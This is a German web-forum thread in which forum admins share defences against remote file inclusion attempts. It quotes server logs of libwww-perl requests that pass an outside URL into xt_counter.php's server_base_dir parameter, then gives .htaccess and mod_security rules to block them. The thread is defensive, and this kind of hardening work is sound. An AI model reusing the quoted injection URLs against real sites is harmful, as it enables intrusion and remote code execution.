Injectionversuche

[Ferrika]

Ich sehe in den letzten Tagen hier sehr viele, die plötzlich Probleme damit haben, daß sich ihr Forum nicht mehr aufrufen läßt.

Ohne jetzt Panik machen zu wollen, möchte ich trotzdem mal etwas anregen, da ich in meinem Forum damit unschöne Erfahrungen gesammelt habe.

Es sind Leute unterwegs, die mit dem Browser wwwlib-pearl Injektionversuche auf Foren unternehmen. Im Großen und Ganzen ist SMF davor recht gut abgeschirmt. Aber je nachdem, welche Anwendungen zusätzlich auf dem Server laufen oder welche Mods installiert sind, kann so ein Hacker-Kind schon mal Glück haben.

So sieht so etwas im Server-Log aus:

www663.sakura.ne.jp - - [05/Sep/2007:11:23:53 +0200] "GET /kit/index.php?topic=9.msg415///]/xt_counter.php?server_base_dir=http://gallosef.no-ip.info/myblog/2? HTTP/1.1" 403 1157 "-" "libwww-perl/5.79"
www663.sakura.ne.jp - - [05/Sep/2007:11:23:57 +0200] "GET /kit/index.php?topic=9.msg415/xt_counter.php?server_base_dir=http://gallosef.no-ip.info/myblog/2? HTTP/1.1" 403 1157 "-" "libwww-perl/5.79"
www663.sakura.ne.jp - - [05/Sep/2007:11:23:58 +0200] "GET ///]/xt_counter.php?server_base_dir=http://gallosef.no-ip.info/myblog/2? HTTP/1.1" 403 1157 "-" "libwww-perl/5.79"
www663.sakura.ne.jp - - [05/Sep/2007:11:23:58 +0200] "GET /xt_counter.php?server_base_dir=http://gallosef.no-ip.info/myblog/2? HTTP/1.1" 403 1157 "-" "libwww-perl/5.79"
www663.sakura.ne.jp - - [05/Sep/2007:11:23:58 +0200] "GET /kit///]/xt_counter.php?server_base_dir=http://gallosef.no-ip.info/myblog/2? HTTP/1.1" 403 1157 "-" "libwww-perl/5.79"
www663.sakura.ne.jp - - [05/Sep/2007:11:24:02 +0200] "GET /kit/xt_counter.php?server_base_dir=http://gallosef.no-ip.info/myblog/2? HTTP/1.1" 403 1157 "-" "libwww-perl/5.79"

Dieser xt-counter läuft bei mir glücklicherweise nicht mehr, denn der hatte tatsächlich eine solche Sicherheitslücke, was bei dem Autor des Counters dazu geführt hat, daß sein Forum gehackt wurde. Wobei die 403 ja zeigt, daß es ihm eh nicht gelungen wäre, weil er sofort ein "forbidden" bekommen hat.

Um nun diesen Schätzchen gar nicht erst eine Möglichkeit zu verschaffen, sich an irgendetwas an eurem Forum zu schaffen zu machen (oder an etwas anderem auf eurem Webspace), solltet ihr eine htaccess auf den Server laden (in jedes Hauptverzeichnis, falls jemand direkt connectet):

Im Texteditor eine Datei erzeugen mit dem Namen .htaccess (ohne Dateierweiterung und der Punkt vorn ist wichtig, damit der Server erkennt, dass da ein Befehl an ihn geht)

In diese Datei schreibt ihr das hier hinein:

AuthType Basic
Order deny,allow
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl
RewriteRule ^.*$ - [F]

Damit wird dem Browser libwww-pearl der Zutritt zur Seite verwehrt und er kann nix mehr anstellen.

Dann die Datei auf den Server hochladen (solltet ihr die nicht angezeigt bekommen nach dem Hochladen, müsst ihr in eurem FTP-Client "versteckte Dateien anzeigen" einstellen) und die Page testweise aufrufen.

Falls ihr auch noch Probleme mit diversen Spammern haben solltet, könnt ihr auch noch zusätzlich so eine Zeile unter "order deny, allow" einfügen:

Deny from 69.64.

(mein Lieblingsspammer, der treibt sich überall rum, krallt sich jeden Link, dessen er habhaft werden kann und müllt Gästebücher, Foren und alles zu, was er erwischen kann.

Die Zeilen "Deny from" kann man beliebig oft wiederholen, immer die IP dahinter, oder Teile einer IP (aber vorsicht, sperrt nach Möglichkeit keine t-online, 1&1 oder ähnliche übliche Anbieter, denn sonst könnte es passieren, dass ganze Landstriche nicht mehr in euer Forum kommen *g*)

So, ich hoffe sehr, daß damit bei einigen Leuten solche Injection-Versuche unterbunden werden und möglicherweise auch einige Foren länger laufen ;-)

Gruß Ferrika

[Nikwin]

Danke!

[mediman]

Wer Mod_Security2 betreibt, ist davor geschützt, man kann aber zusätzlich in die useragents.conf folgenden Eintrag nachsetzen:

#Bad agent
SecRule HTTP_User-Agent "libwww-perl"

Aber, Vorsicht, sollte der Schutz nur über das Aussperren des Useragents funktionieren, ist der Schutz teilweise wirkungslos.

Die Regel 300018 = really broad furl_fopen attack sig filtert solche Angriffe sauberer weg.

Im Log kommt dann:

Access denied with code 500 (phase 2). Pattern match "(ht|f)tps?:/" at ARGS:server_base_dir. [id "300018"] [rev "3"] [msg "Generic PHP code injection protection via ARGS"] [severity "CRITICAL"]

mediman

[Adin]

Guter thread, danke.